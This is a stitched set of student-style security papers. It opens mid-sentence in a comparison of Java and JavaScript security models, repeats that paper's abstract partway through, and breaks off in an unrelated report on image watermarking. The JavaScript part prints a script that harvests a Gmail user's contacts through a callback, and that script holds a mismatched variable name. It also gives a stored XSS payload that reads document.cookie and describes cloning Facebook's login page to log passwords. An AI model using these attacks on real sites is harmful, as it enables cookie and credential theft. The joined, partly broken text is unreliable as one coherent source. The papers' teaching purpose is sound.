plication. This is particularly true with ActiveX controls
and has prompted Microsoft to release security patches to
prevent JavaScript code from exploiting the capabilities of
scriptable ActiveX objects.

While the above mentioned features of client-side JavaScript
provide a basic security barrier against most attacks, there
are still other security threats - mainly privacy concerns.
While browsing the web, the standard HTTP protocol con-
tains information about the browser, version and vendor
along with every request for a web page. This data is pub-
licly available whereas other personal information like the
user’s email address and browsing history are not. It is cru-
cial to restrict JavaScript programs from exporting this pri-
vate information.

2.2.3 Browser Policies
Most web browsers allow users to restrict various security-
related settings. They also have built-in policies that re-
stricts malicious users from tricking a site into injecting ma-
licious code along with intended content [3,4]. We will now
look at the security policies of Chrome and Firefox against
such attacks.
While the Same-Origin policy exists to only allow those
scripts that belong to the page that was loaded to run, over
years many ways have been found to circumvent this policy
and the main mode of attack is through Cross-Site-Scripting
(XSS) attacks which involves injecting malicious scripts into
a webpage which are then executed.

XSS attacks are based on the fact that a browser cannot
distinguish between a malicious script injected by a third-
party and a valid script that is part of the application. This
results in the browser downloading and executing any script
that is part of the page requested and this is the vulnerability
exploited by XSS attacks.

The Content-Security-Policy allows for creation of a list of
sources with trusted content called the whitelist of sources
and the browser is restricted to execute or render resources
only from the whitelist sources. This now prevents an in-
jected script from executing since its source wouldn’t belong
to the whitelist and the browser throws an error instead.
While whitelists prevent untrusted code from a different
source from executing, there are other forms of XSS attacks

Figure 1: CSP

Figure 2: Setting Mozilla’s User Preference File

such as inline code injections to directly insert malicious
payload instead of calling an external script and misuse of
several JavaScript functions such as eval() or setInterval()
etc [13]. which can work in an unexpected manner to some-
times execute the malicious code which is hidden as inert
text injections. The following sections talk in detail about
the CSP implemented by different browsers and how they
handle the various kinds of XSS attacks.

Firefox[5]
Firefox provides certain restrictions which can be as generic
or as specific as needed. It is also quite flexible as it can
be universally applied or limited to certain protocols and
domains. This functionality is collectively known as CAPS
or Configurable Security Policies. There are a few common
cases where the use would need to use security policies for
e.g. clipboard access for JavaScript, whitelists and black-
lists for JavaScript functionality, etc. Policies under CAPS
include:

a. Setting Global Policies
An example use case of this policy is to prevent websites
from opening new browser windows for pop-up advertise-
ments. This can be done by adding a line in the user’s
Mozilla user preferences file (user.js) as shown in Figure 2.
This line of code prevents the web pages from accessing the
Window.open property of the browser and hence all pages
attempting to create advertisements through this function-
ality will fail. The Mozilla security manager will throw a
JavaScript exception, preventing the function from being
called.

b. Zone Policies
The default policy used in the previous scenario is special as
it can be applied to all sites. Firefox also lets the user to ap-
ply to specific sites or group of sites, overriding the default.
For e.g., www.example.evil.com and www.annoying.org can
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be prevented from creating dialog boxes (Figure 3).

Figure 3: Applying policies to specific sites or a
group of sites

c. Security Levels
Firefox has three special security levels: noAccess (prevents
websites from accessing this property or call this function),
sameOrigin (webstites can access this property, but only for
pages from the same site), allAccess (can access this prop-
erty from any site - violates the Complete Mediation design
principle). If the securitly level is none of the above, it is
treated as a privilege and the script requires a sign and a
user permission is required according to the signed script
policy.

d. Disabling all JavaScript for a Site
The property javascript.enabled can be used to disable/enable
JavaScript execution, either globally using the default pol-
icy discussed above or using the zone policy. The value of
this policy is binary and has to be either ’noAccess’ or ’allAc-
cess’. Figure 4 shows how to disable all JavaScript execution
at site2.com and site2.com.

Figure 4: Disabling JavaScript in specific websites

Or can be done as shown in Figure 5.

Figure 5: Alternative user friendly method to dis-
able JavaScript in specific websites

Chrome
In order to mitigate potential XSS issues, Chrome’s exten-
sion system has implemented the general concept of Content
Security Policy (CSP). This allows strict policies that will
strengthens the security of the extensions by default and
provides the user to create and enforce rules allowing types
of content that can be loaded and executed by extensions
and applications. Similar to Firefox, Chrome works as a
white/blacklisting mechanism for resources loaded or exe-
cuted by extensions. All the extension policies are defined
via the extension’s manifest.json file (Figure 6).
Default Policy Restrictions
Chrome has created new directives namely script-src and
object-src that adds defaults for those packages without a

Figure 6: Configuration file for chrome extensions -
manifest.json

manifest version. Eval and related functions are disabled.
The style of coding show in Figure 7 does not work. This
is because the evaluating strings of JavaScript is a common
XSS attack vector. The code instead should look as in Fig-
ure 8.

Figure 7: Incorrect style of using eval API

Figure 8: Correct style of using eval API

Inline JavaScript
Inline JavaScript includes inline <script> blocks and inline
event handlers for e.g., <button onclick=”...”>). The first
restriction helps avoid a huge class of XSS attacks that is
aimed at executing script provided by a malicious third-
party. It requires you to write your code if the js file is
separated as content and behaviour.

Figure 9: Separation of concerns .html and .js
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Chrome does not allow resources to be downloaded at large
from the web (Figure 10). They can only be loaded from
script and object resources (Figure 11). This ensures that
the extension only executes code that is approved by the
user, thereby preventing a network attacker from maliciously
redirecting your request for a resource.

Figure 10: Incorrect method of loading large data
(libraries) from web

Figure 11: Correct method of loading library from
object resources

Evaluated JavaScript
The policy against eval() which includes setTimeout(String),
setInterval(String) and new Function(String) can be relaxed
by adding ”unsafe-eval” to your policy.

Tightening the Default Policy
Chrome allows further flexibility to strengthen security for
the user’s extension. On top of the policies provided by
Chrome’s CSP, the default policy can be tightened to what-
ever extent allowed by the user’s extension in order to in-
crease security at the expense of convenience.

Real World Usage
CSP is quite usable in Chrome 16+, Safari 6+, and Firefox
4+, and has limited support in IE 10.

3. ATTACK-BASED COMPARISONS
No software is 100% bug free. Vulnerabilities exist since it’s
almost impossible to exhaustively test any large software.
Software patches which are pieces of code are constantly
released to fix any vulnerabilities found. The problem arises
when attackers discover vulnerabilities first. They use these
vulnerabilities as points of entry to launch an attack against

the computer system of the user of such software. Java,
owned by Oracle, claims to be running on over 3 billion
devices and JavaScript, considered to be the language of
the Web, are both very popular programming languages.
While Java is used for both web based and general purpose
applications, JavaScript is used only for development of web
applications. The kind of attacks faced, however, are usually
initiated in the web when the user unsuspectingly clicks on
a malicious URL or provides authorization to execute or
download malicious programs. Any attack is launched with
the aim of gaining unauthorized access to perform illegal
operations, steal private information etc.

3.1 Java
The security architecture of Java Virtual Machine provides
3 components to ensure safety of computer systems while ex-
ecuting Java applications. These are the Classloader, Byte-
code verifier and the Security Manager [6]. The classloader
component is responsible for loading valid classes in Java
for the applications. The bytecode verifier is responsible for
verifying bytecode for type safety, access privileges and valid
memory access before execution. The Security Manager en-
sures that the program doesn’t access unauthorized infor-
mation, implements ”checks” for every operation requesting
access to privileged data and ensures the sandbox security
mechanisms. Some of the main attack techniques are namely
class spoofing, type spoofing, bad implementation of system
classes and elevation of sandbox privilege technique. In or-
der to attack the JVM, there must be flaws in JVM’s security
components and circumventing other safety mechanisms in
place to get at these flaws can cause successful attacks.

3.1.1 Java "Exploit" Attacks
Security in Java is imposed at a language-features level,
through memory safety and execution and access safety
through the JVM. Attacks on Java applications are aimed
at exploiting vulnerabilities in the software components of
Java. Java provides API in components such as Java SE
for general purpose programming, J2EE for network and
web based applications, Java Security for API related to
permissions and authentication, JavaFX for graphics on the
Java web applications etc. Loopholes in any of these al-
low attackers to escape the JVM’s Sandbox which is the
main security mechanism to prevent attacks that can dam-
age hardware, software or information on the host system,
pass unauthorized information to others or cause the host
machine to become unusable through resource depletion via
Denial or Service attacks [1,2]. Such attacks are executed
through programs called ”exploits”which leverage on vulner-
abilities of the software to create attacks. Typically exploits
are propagated by cyber criminals who lure users to a spe-
cially designed website that hosts many exploits. When the
webpage is loaded by the user, a built-in module identifies
the browser in use and the versions of the Java-plugins in-
stalled. An exploit is chosen according to the vulnerabilities
in the specific versions and it automatically loads its mal-
ware onto the computer.

3.1.2 Java Applet Attacks
Java Applets are Java web applications embedded in HTML
pages and run in the context of the browser. They are
launched as bytecode from websites visited by the users and
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are run on the user system’s JVM. Java Security model offers
protection for all resources from malicious applets using the
applet sandbox. Unsigned applets only run with user’s con-
sent and within the sandbox while privileged (signed and
trusted) applets run outside of the sandbox. Applets can
carry exploits which can attack vulnerabilities in the JVM
version used by the user or can invoke arbitrary code execu-
tions which are very dangerous. The Java Applet Attack is
one such attack where a copy of a malicious applet hosted
on the attacker’s machine is created on a local copy of a
trusted website such as Gmail or Facebook. When the user
uses those websites, the infected applet through a vulnera-
bility helps to create a session which opens the system for
full access to the perpetrator.

3.2 JavaScript
JavaScript based attacks often happen since it is the nature
of the language to allow for flexibility. Being an interpreted
language rather than compiled, the actual source code is in
readable format making it easy for modification and rede-
ployment. The dynamic nature of the language allows code
to be executed remotely and this opens doors to a variety of
attacks like phishing and Cross-Site Scripting.

Figure 14 lists out attacks that are commonly in existence
today.The column On/Using indicates whether the attack is
on or caused using a Java/JavaScript application.

3.3 Implemented Example of DoS Attack
This common JavaScript Denial of Service attack causes
pop-ups to show up continuously. This unending thread uses
up too much computer resources and causes the browser to
crash thus causing a denial of service. Since this piece of
code is valid JavaScript, there is no language specific han-
dling for such event, it’s left up to the browsers to handle
such a situation. Both Google Chrome and Mozilla Firefox
browsers ask for user input for confirmation to show subse-
quent pop up alerts thus surviving the DoS attack.

Figure 12: DoS attack in Firefox

4. FRAMEWORK-BASED COMPARISON
A major component of the security model in Java is imple-
mented through language level features. JavaScript’s lan-
guage features as per ECMAScript standards however are
defined based on utility and advantage in web application
development [9]. The tradeoff between security provided and

Figure 13: DoS attack in Chrome

advantage in usability and functionality gives rise to vulner-
abilities and their corresponding attacks for both languages.
The following section analyses and brings out a comparison
between the security models for Java and JavaScript based
on Ross Anderson’s security framework [12] using Policy,
Mechanism, Incentive and Assurance as criteria.

Figure 15 analyses 4 policies for Java and JavaScript for
which the corresponding mechanism if exists is mentioned in
the Mechanism column. The assurance for that mechanism
is categorized qualitatively as high, medium and low from a
security perspective. The common incentive for the policy
is mentioned in the last column.

5. CONCLUSION
The security models of Java and JavaScript have the same
foundation in terms of using the sandbox mechanism since
JavaScript’s security model was built upon Java’s security
model. However the context of application for security dif-
fers for both since JavaScript is primarily a web program-
ming language while Java is a general purpose programming
language that also provides support for development of web
based applications. Thus the capabilities of each language
are quite different and as a consequence, the kind of at-
tacks possible on each security model also differ. The ex-
isting security policies attempt to cater to the different at-
tacks. A detailed overview of these policies was done fol-
lowed by a comparative analysis of the features in Java’s
and JavaScript’s security models based on Ross Anderson’s
security framework and possible attacks on each.
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ABSTRACT
Java and Javascript are object oriented programming lan-
guages that have been used to implement applications and
web content since 1995. Their wide usage inevitably led to
the rise of many attacks that are targeted at applications
built on these languages, exploiting the application and lan-
guage’s structure and model. In this paper, we discuss the
design of the security model in both Java and Javascript
and evaluate their strengths and weaknesses. Through this
discussion, we hope to achieve a better understanding of the
features in place to prevent attacks and whether or not they
are adequate. Finally, we will do a comparison of the two
security models. We have also included a few demonstra-
tions to show how easily an attack can be achieved on an
unsuspecting individual through cross site scripting.

Categories and Subject Descriptors
D.2.4 [Software/Program Verification]: []; D.4.6 [Security
and Protection]: []

General Terms
Documentation, Performance, Design, Reliability, Experi-
mentation, Security, Verification

Keywords
Java, JavaScript, Security Model

1. INTRODUCTION
Java is an object-oriented programming language used to
create cross-platform multimedia elements, including appli-
cations that can run on any virtual Java machine, regard-
less of the computer architecture. This eases the process
of cross-platform development. The main requirement is an
existing version of the virtual Java machine for this operat-
ing system or browser. This is the primary reason for Java’s

popularity. There are about 850 million computers that has
installed Java [12].

JavaScript is a lightweight, interpreted, object-oriented lan-
guage with first-class functions, most known as the scripting
language for Web pages, but used in many non-browser en-
vironments as well such as node.js or Apache CouchDB. It is
a prototype-based, multi-paradigm scripting language that
is dynamic, and supports object-oriented, imperative, and
functional programming styles. ECMAScript is the stan-
dard for JavaScript[10]. This language is mainly used to en-
hance client side interaction. JavaScript is browser friendly,
simple and adaptable. It has been gaining popularity and
currently it is used by 87.7% of all websites [19]. JavaScript
is unrelated to Java programming language, although they
have the common C syntax.

In this paper, we first examine the security models for Java
and JavaScript separately. We assess the strength and weak-
ness of each model and try to compare these two models.

2. JAVA
In order to improve the security of Java applications, Java
platform provides a number of security features making it
an appropriate technology for networked environments. In
this section, we first understand the various security features
provided by the language and then explore strengths of the
security model and their underlying methods.

2.1 Type-Safety
Type-safety is an inherent feature of the Java language. This
prevents programs from accessing memory in inappropriate
ways. Memory used in the program, is a part of some Java
object and this object has some class. It also, provides au-
tomatic memory management, garbage collection, checking
references for null and range-checking on arrays. The plat-
form prevents programs from performing certain potentially
unsafe pointer arithmetic. This helps in reducing the pro-
gramming errors and provides safer and robust code.

2.2 Sandbox Model
The security model adopted by Java is known as the sand-
box model. This model is designed in a way that provides
a restricted environment to run untrusted code from open
network. A java program can only run inside its sandbox,
inside this it can perform anything within the boundaries of
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its sandbox, but it cannot perform any actions outside those
boundaries. For any untrusted Java applets, the sandbox
will prohibit it from many activities like reading or writ-
ing to the local disk, making a network connection to any
host, except the host from which the applet came, creating
new process and loading a new dynamic library and directly
calling a native method.

The main principle behind this model is that, local code
is trusted and hence it has full access to system resources.
However, code downloaded from network is not trusted and
hence it can access only limited resources provided inside the
sandbox. The primary aim of this model is to prevent mali-
cious applets/code from accessing system resources. Figure
1 illustrates the sandbox model [14]. The main advantage of
this model is that, there is no need to figure out what code
to trust. The model itself prevents any viruses or other ma-
licious code from doing any damages.

Figure 1: Sandbox Model

2.2.1 Java Virtual Machine
Java security model enforces runtime constraints through
the use of Java virtual machine(JVM). JVM is a process
virtual machine [13] that is responsible for code execution in
Java platform. The program running on the platform is the
downloaded intermediate bytecode. It is essential to verify
the bytecode before running it to prevent the program from
performing unsafe operations. Before executing the code,
JVM uses the bytecode verifier.

Java ByteCode Verifier: . The bytecode verifier is a mini
theorem prover, which verifies that the language rules are
followed. It checks the code to ensure if compiled code is
formatted correctly and if the Internal stacks will not over-
flow or underflow. It also prevents ”illegal” data conversions
to ensure that variables will not be granted access to re-
stricted memory areas. Also, Byte-code instructions will
have appropriately-typed parameters. It ensures that all
class member accesses are ”legal”. For instance, an object’s
private data must always remain private.

JVM and bytecode verifier together ensure safety at run
time. This ensures that Java programs are less likely to
suffer from memory safety flaws like buffer overflow [3].

Java Class Loader: . The class loader is defined in Java
by an abstract class, ClassLoader. As an interface, it can
be used to define a policy for loading Java classes into the

runtime environment (JVM). It is responsible for fetching
code from the remote machine. It creates and enforces a
namespace hierarchy. One of the most important function
of the class loader is to ensure that running applet does
not replace system-level components within the runtime en-
vironment. In particular, it prevents applets from creating
their own class loader. It also prevents applets from invoking
method, that are part of the system’s class loader. By plac-
ing restrictions on the namespace, the class loader prevents
untrusted applets from accessing other machine resources
(e.g., local files) [4].

Java Security Manager. The sandbox model of provid-
ing restricted environment is implemented through the se-
curity manager. The security manager is a class in Java,
that allows applications to implement a security policy. It
allows an application to determine, before performing a pos-
sibly unsafe or sensitive operation, what the operation is and
whether it is being attempted in a security context that al-
lows the operation to be performed. The application can
allow or disallow the operation. The invocation of such a
check method typically looks like this:

SecurityManager security = System.getSecurityManager();
if (security != null) security.checkXXX(argument, . . . );
A security manager routine simply returns if the operation is
permitted, but throws a SecurityException if the operation
is not permitted [9].

2.2.2 Security Policies and Access Control
Latest version of Java also contain a good permission man-
agement platform. This is based on the abstract class
java.security.Permission, which describes the access rights
entity. It contains the target name of the resource (e.g., file
name) and a string of actions that can be done on that re-
source (e.g., ”read,write”). The Permission.implies(Permission)
method shows if a Permission object given in parameter is
allowed [8].
The AccessController class is used to obtain a fine-grained
access control. The AccessController class is used for access
control operations and decisions. More specifically, the Ac-
cessController class is used to decide whether an access to
a critical system resource is to be allowed or denied, based
on the security policy currently in effect, to mark code as
being ”privileged”, thus affecting subsequent access determi-
nations, and to obtain a ”snapshot” of the current calling
context so access-control decisions from a different context
can be made with respect to the saved context [2].

2.3 Security APIs
Apart from the model described above, Java also contains
a number of APIs related to security that can be used by
the developers in their applications. Java Cryptography Ar-
chitecture (JCA) provides the infrastructure for executing
the main cryptographic services in the Java platform, in-
cluding digital signatures, message digests, ciphers, message
authentication codes key generators, and key factories. JCA
also ensures data integrity and provides APIs for all listed
features.

Java Authentication and Authorization Service (JAAC) im-
plements access limiting based on user authentication. To-
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gether with Access Control, it provides abstract authentica-
tion APIs that incorporate a wide range of login mechanisms
through a pluggable architecture. It also provides a compre-
hensive policy and permissions API that allows a developer
to create and administer applications requiring fine-grained
access to security-sensitive resources.

The Secure Sockets Layer (SSL) is a widely used data proto-
col with supported data integrity through encryption. Java
Secure Socket Extension (JSSE) is a standard interface and
reference implementation of the SSL protocol. The Java
platform contains other secure socket protocols, including
Transport Layer Security (TLS), Kerberos, and the Simple
Authentication and Security Layer (SASL). JSSE also in-
cludes full support of HTTPS over SSL/TLS.

2.4 Weakness
In this section, we explore the weakness of the language us-
ing case studies. Two examples have been elucidated below.
They have been chosen because of their recency and im-
pact. Both of these exploits occurred within the past couple
of years and impacted hundreds of millions of users.

2.4.1 Type Confusion
We saw that Type-safety is an inherent feature of Java that
allows programmers to develop safe code. Type safety means
that a program cannot perform an operation on an object
unless that operation is valid for that object. However, type-
safety has a weakness. If a type safety check fails for some
reason, it leads to type confusion. Type confusion can re-
sult in a security breach. A malicious Java application or
applet could use this flaw to cause the Java Virtual Machine
to crash or bypass the Java sandbox restrictions. Successful
exploitation of this vulnerability allows a Java applet to by-
pass JVM sandbox restrictions and achieve execution with
full privileges. The following list shows past type confusion
vulnerabilities in Java components[17]:

CVE-2012-0507: AtomicReferenceArray type

confusion vulnerability

CVE-2011-3521: Deserialization type

confusion vulnerability

CVE-2012-1723: Hotspot field instruction type

confusion vulnerability

Java malware targets certain types of vulnerabilities, and
”type confusion” is the most common class being exploited
[18]. Flashback is a form of malware designed to grab pass-
words and other information from users through their Web
browser and other applications such as Skype. A user typi-
cally mistakes it for a legitimate browser plug-in while vis-
iting a malicious Web site. The malware targeted the Java
runtime on OS X, pretending to be an installer for Adobe
flash. This malware affected about 600,000 Macs. It is found
that Flashback exploited a type confusion vulnerability with
an ”AtomicReferenceArray” element [18].

2.4.2 Security Manager
Sandbox model of Java language is designed for safe execu-
tion of untrusted code. SecurityManager is the most critical
class in the sandbox. The SecurityManager mainly prevents

untrusted code from changing certain system settings, in-
cluding disabling the SecurityManager. In case of desktop
application the SecurityManager is set to null. However, for
the untrusted code there is non-null security manager and
it enforces a restrictive security policy.

In the blog, ’Anatomy of Java Exploits’ [15], few exploits
were carried and they found that the Java environment fails
to achieve its theoretical security potential. The vulnerabil-
ities analyzed exploit the security mechanism. The exploits
that they ran as applets, work in the context of a Security-
Manager and they manage to disable the security manager
to run arbitrary code. The exploits examined in the blog
post relied on the vulnerability that served to grant the ex-
ploits, access to sensitive private classes that are used in-
ternally by Java. Once the exploit code had access to the
sensitive classes, it was then able to use them to execute a
statement that disabled the security manager. Although Se-
curityManager serves as a very important feature to protect
the system from untrusted code, its usage leads to potential
vulnerability.

3. JAVASCRIPT
The fundamental premise of browser’s security model is that
there is no reason to trust randomly encountered code such
as those found on Web pages, hence JavaScript should be ex-
ecuted as if it were hostile. Exceptions are made for certain
kinds of code, such as those that come from a trusted source.
Such code is allowed extended capabilities, sometimes with
the consent of the user but often without requiring explicit
consent. In addition, scripts can gain access to otherwise
privileged information in other browser windows when the
pages come from related domains. Javascript Security Model
contains two main policies which are the sandbox policy and
same origin policy.

3.1 Strengths
3.1.1 Sandbox Policy

The first main strength of the Javascript security model is
its sandbox policy, which is the act of isolating third party
code such that it does not interact with vital components of
the system. Scripts are permitted access only to data in the
current document or closely related documents (generally
those from the same site as the current document). No ac-
cess is granted to the local file system, the memory space of
other running programs, or the operating system’s network-
ing layer. Containment of this kind is designed to prevent
malfunctioning or malicious scripts from wreaking havoc in
the user’s environment. The reality of the situation, how-
ever, is that often scripts are not contained as neatly as one
would hope. We will talk about some of its weaknesses in
the discussion below.

3.1.2 Same Origin Policy
Apart from the sandbox policy, the same origin policy is a
primary rule in Javascript security. The same-origin pol-
icy prevents scripts from one site from reading properties of
windows loaded from a different location. The signed script
policy allows digitally signed mobile code to request special
privileges from the user. This guarantees code authentic-
ity and integrity, but it does not guarantee functionality or
the absence of malicious behavior. Without it, JavaScript
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from a hostile site could do any number of undesirable things
such as snoop keypresses while you?re logging in to a site in
a different window, wait for you to go to your online bank-
ing site and insert spurious transactions, steal login cookies
from other domains, and so on.

3.2 Weakness
It is worth noting that the language itself has no security
awareness and yet it is one of the most widely used lan-
guages in web development. Unfortunately, there are several
mechanisms where javascript can be used to violate funda-
mental security policies such as the same origin and sandbox
policies.

A common JS related security problem is cross-site script-
ing (XSS) which violates the same origin policy. It enables
attackers to inject client-side script into web pages viewed
by other users, hence bypassing access controls including the
same origin policy. Injected scripts are given the same access
as all other scripts in that domain which of course, violates
the single origin policy. It is the most abused web security
vulnerability, as per a survey by Symantec[16]. which states
that cross-site scripting carried out on websites accounted
for roughly 84% of all security vulnerabilities in 2007. We
demonstrate this vulnerability in a later section of this pa-
per through our own implementation of both stored and
reflected XSS attacks.

A very popular example of Javascript vulnerability is the
Samy Worm, also known as JS Spacehero. This XSS work
was designed to propagate MySpace.com, which used to be a
popular social networking website. The worm had a payload
that would display a string on a victim?s profile. When
other users viewed this profile, the worm was injected on
their page. Samy became the fastest spreading virus of all
time with over 1 million infected users within 20 hours of
the worm’s release[5].

Another cross-site vulnerability is cross-site request forgery
(CSRF) which also violates the same origin policy. CSRF
involves a user being tricked into performing unintended ac-
tions on a website that they are logged into/authenticated.
This is typically done by tricking the user into loading a
page/site containing a malicious request. This malicious re-
quest involves forging the user’s identity and is sent back
to the original ’victim’ server to perform undesired actions
such as transferring money to another account when it was
not intended by the original user. This attack works because
the website that the user is authenticated in relies on cookies
for the authentication. And for many websites, browsers au-
tomatically include credentials associated with the website
(session cookie, authentication credentials, IP address, etc.)
with requests. This violates the same origin policy because
scripts from the attacker’s website can be from a different
domain but are able to read the properties of the ’victim
website’ and forge a request.

An example of a CSRF attack on GMail[11] to steal an au-
thenticated user’s contact is as follows:

ATTACKER’S CODE:

<script type="text/javascript">

function google(data)

{

var emails, i;

for(i= 0;i<data.Body.Contacts.length;i++)

{

mails += "<li>" + data.Body.Contacts[i].Email + "";

}

document.write ("<ol>" + emails + "</ol>");}

</script>

IN GMAIL.COM :

<script type ="text/javascript"

src= "http://docs.google.com/data/contacts?

out=js&show=ALL&psort=Affinity&callback=

google&max=99999">

</script>

Here, we can see that in gmail.com, scripts in a website can
load other scripts in their ’src’ attribute. These scripts are
then loaded and given the same access as all the other scripts
for that domain. If the attacker is able to trick the user
into running his/her malicious script, the attacker can hijack
the cookies to forge a request to steal user details. Since
gmail.com could run the malicious the script from possibly
another domain and this script is given the same privileges
of reading the user cookie data meant for gmail.com, the
single origin policy is violated.

It is also possible to violate the sandbox policy if extended
privileges are incorrectly granted to some scripts. Web browsers
are capable of running JavaScript outside of the sandbox,
with the privileges necessary to, for example, create or delete
files. Of course, such privileges aren’t meant to be granted
to code from the web. Incorrectly granting privileges to
JavaScript from the web has played a role in vulnerabilities
in both Internet Explorer and Firefox. An example that
we have found is that in Windows XP Service Pack 2, Mi-
crosoft demoted JavaScript’s (Microsoft’s dialect of the EC-
MAScript standard) privileges in Internet Explorer. They
allowed JavaScript source files on a computer’s hard drive to
be launched as general-purpose, non-sandboxed programs.
This makes Javascript a possible vector for Trojan Horse.

Javascript is a loosely typed language and this may present
some security vulnerabilities. Type errors may result in a
buffer overflow, causing a web browser to behave erratically.
An example of such an attack will be you trying to copy
an integer. But instead you send an enormous amount of
data that is twice as big as the space of memory reserved
for an integer. With an arbitrary copy, the data was too
big. This data will be copied to the next location in mem-
ory and placed on the stack. Now that the large data has
been placed on the stack, sometime later this information
will be pulled off of the stack and executed. This could be
immediately, at some later time, or even used to just corrupt
other data memory. Since this vulnerability arise from the
lack of type safety, enforcing type system may prevent these
exploits from occurring [1].

There are of course, several other weaknesses in the JavaScript
Security Model which bypass the main principles of sandbox
and same origin policy that were not discussed in detail in
this paper. Some of the more prominent ones are DNS at-
tacks, heap spray attacks [6], and cloud attacks. There have
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been several arguments in the language and implementation
levels of enforcing security.

4. IMPLEMENTATION
In this section, we demonstrate the security weakness in
JavaScript using XSS attacks. We have implemented both
stored and reflected XSS attacks in order to demonstrate
the weaknesses in the JavaScript Security Model.

4.1 Stored XSS
We have created a music catalogue website where any user
on the internet can view songs and buy them. They can
also leave feedback about the website. We perform a sim-
ple demonstrate how we can use the feedback mechanism
of the website to carry out a stored XSS attack. In the
feedback section, we give the following input: unsuspecting
feedback<script>alert(document.cookie)</script>

Figure 2: Stored XSS

This website does not sanitize its input and hence, the <script>
tag is not removed from the input. Therefore, this feedback
with the malicious script is stored in the database: When

Figure 3: Stored XSS

the admin logs in to view the feedback, the content deliv-
ered is from the trusted domain and thus operates under the
same permissions granted to that system.This way, the at-
tacker can gain access to sensitive data such as page content
and session cookies.

However, an attacker with a strong motive can do a lot more
than this simple example and steal private user information
by having it sent to his own server. The fact that the at-
tacker’s script is able to read and collect data from a server
that he/she should rightfully not have access to shows the
security weakness. It is a violation of the single origin policy
as the attacker’s server (another domain) is able to read sen-
sitive document and cookie information of the victim’s server
when it should rightfully not have access to such data.

Figure 4: Stored XSS

4.2 Reflected XSS
To demonstrate reflected XSS, we have decided to use Face-
book as an example and show how a hack can phish for
password from an unsuspecting user. We copy the source
code of Facebook and duplicate it to show the same login
screen. However this page resides in our server.

Figure 5: Duplicate Facebook Login Page

Within the source code, we edit to the the Facebook source
code to point to our very own php script. To do this, we
changed the action attribute of the Login form within the
HTML code as shown below.

Figure 6: Edited line from Facebook Source Code

As the user types in his credentials, he/she is actually sub-
mitting the credentials to our server and we log all that data
into a text file called password.txt.

5. COMPARING JAVA AND JAVASCRIPT
The JavaScript Security Model is built upon the Java Secu-
rity Model. After evaluating them separately, we compare
the similarities and differences in their strengths and weak-
nesses in enforcing security on a language and implementa-
tion level.
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Figure 7: Customized login.php

On a language level, type safety contributes to enforcing
the security model. Type safety is the most essential part
of Java’s security. The language inherently is designed to
to enforce this. It makes sure that programs are generally
prevented from accessing memory in inappropriate ways.
Every memory allocated is part of some object. However,
JavaScript is very lax in type-safety checks which allows for
buffer overflow attacks as described previously.

On an implementation level, one of the most commonly oc-
curring incidents is injection attacks. Both Java and JavaScript
are vulnerable to such attacks. Java is vulnerable to XML
and SQL Injection attacks. The methods of carrying it out
on both the client and server side have been extensively re-
searched by the Black Hat community in one of their articles,
Corsaire (2010) by Stephen de Vries[7]. However, such at-
tacks are much more common in the case of JavaScript as
they are much more extensively used in web applications.
This is supported by the fact that XSS attacks carried out
on websites accounted for roughly 84% of all security vul-
nerabilities in 2007 according to a survey by Symantec in
2007.

6. CONCLUSION
In essence, both Java and JavaScript have their strengths
and weaknesses in that given the same attack, Java may
prevent it better than JavaScript and vice versa. It is im-
possible to compare all the types of attack. However, we
do note that there is no perfect security model. Too many
rules will make the language hard to use while lax models
will make it very insecure. It is hard to find a moderation
of these two. Hence, the best practise now is for program-
mers to do their part on enforcing the security policies of
the models. For example, sanitizing input and having more
than one authentication method than cookies. These will
help to reduce the possibility of an attacker’s code violat-
ing the single origin policy to gain access to information in
another domain.
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Image Authentication Techniques for Copyright 
Protection 
Pan Long(A0105734L), Sun Hang(A0105742M), Zhao Mengdan(A0105695Y), Zhu Lei(A0105790H) !
Abstract In this report, we evaluated two 
image authentication techniques -- LSB 
watermarking and DCT-based watermarking 
for copyright protection. An overview of the 
algorithms, workflow, and experimental 
results of the two techniques are provided. We 
also introduced some common attacks aiming 
watermarking techniques, those are removal 
attacks, geometric attacks, cryptographic 
attacks, and protocol attacks. Finally, we 
addressed the advantages and disadvantages 
of the two watermarking systems.  !
Keywords: image authentication, copyright, 
digital watermarking. !
1. Introduction 

1.1. Motivation 
In the past few years, the use of digital 
information and development of new 
multimedia digital servers increases 
significantly.  Meanwhile, the rapid 
development of computer network also 
contributes to the growth and spread of 
digital technology. However, apart from the 
benefits, the great advancement of digital 
technology makes it easier to reproduce, 
transmit, and distribute the images in illegal 
ways as well, which puts digital image 
creators’ intellectual property at a great risk. 
Thus, a demand for effective image 
authentication techniques for copyright 
protection has been raised.      
      
  
1.2 Definitions 
Digital image authentication 

Digital image authentication is an issue 
related to digital image evaluation in 
authenticity, integrity and confidentiality, 
especially important for providers and 
producers such as health care organizations, 
law enforcement agencies and insurance 
companies.  
Copyright 
Copyr igh t o f d ig i ta l images i s a 
government-granted legal concept, which 
protects the creator’s exclusive right to the 
use and distribution of his original work, 
and enables the creator of the image to 
receive compensations and financial support 
from their work.  
Digital watermark 
A digital watermark is a type of marker that 
covertly embedded in a noise-tolerant signal 
such as audio or image data. It is typically 
used to identify ownership of the copyright 
of such signal.  !
1.3 Digital watermarking as a solution 
For image authentication methods, there are 
several authentication system requirements 
they should focus on, such as Sensitivity, 
Robustness, Localization, Recovery, 
Security and Portability. Based on these 
requirements, various authentication 
methods have been developed and usually 
include strict image authentication and 
selective image authentication and can be 
fur ther d iv ided in to convent iona l 
cryptography, fragile and semi-fragile 
watermarking, digital signature, and so on.  
However, for authentication method in 
copyright protection area, the most 
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important suitable method is robustness 
digital watermarking. Therefore, in this 
report, we will mainly discuss about the 
digital watermarking skills used in image 
authentication for copyright protection. 
  !
1.4 Classification of digital watermark 
Before move on to the detailed discussion 
about digital watermarking techniques, we 
first clarify the classification of digital 
watermark depends on three core properties 
of watermark. !

1 . 4 . 1 C l a s s i f i c a t i o n b a s e d o n 
Robustness 
Robustness refers to the ability of 
watermarks to resist slight or malignant 
alteration. Based on this, we can divide 
watermarks into: 

Fragile watermark  

A fragile watermark will fail to be 
detectable after image alternation. It is 
usually used for tamper detection. 

Semi-fragile watermark  

A semi-fragile watermark can resist slight 
changes on image, but will be damaged 
after malignant transformations. It is 
usually used to detect malignant 
transformations. 

Robust watermark  

A robust watermark is can resists several 
kinds of alterations. Robust watermarks 
are usually used in copyright protection 
and this is the digital watermarking 
technique we will focus on in the report. 

1 . 4 . 2 C l a s s i f i c a t i o n b a s e d o n 
Perceptibility 

Perceptibility is the ability of watermarks 
to be seen by users. Based on this, we can 
divide watermarks into: 

Imperceptible watermark  

